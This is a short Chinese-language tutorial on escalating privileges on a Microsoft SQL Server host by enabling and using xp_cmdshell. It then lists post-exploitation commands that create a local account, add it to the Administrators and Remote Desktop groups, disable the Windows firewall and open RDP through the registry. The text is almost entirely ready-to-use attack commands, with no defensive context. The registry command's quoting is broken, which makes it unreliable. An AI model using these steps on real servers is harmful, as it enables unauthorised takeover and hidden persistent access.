MSSQL数据库提权之XP_cmdshell提权
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它。
启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
调用xp_cmdshell执行系统权限
EXEC master..xp_cmdshell 'whoami';
至此,提权完毕(可通过添加账户等拿下该服务器权限)
添加用户、加入管理员组、关闭防火墙、开启3389等命令
#添加用户
net user {username} {password} /add
#将新添加的用户加入管理员组
net localgroup Administrators {username} /add
#将新添加的用户加入远程桌面组
net localgroup “Remote Desktop Users” {username} /add
#关闭系统防火墙
netsh advfirewall set allprofiles state off/on
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f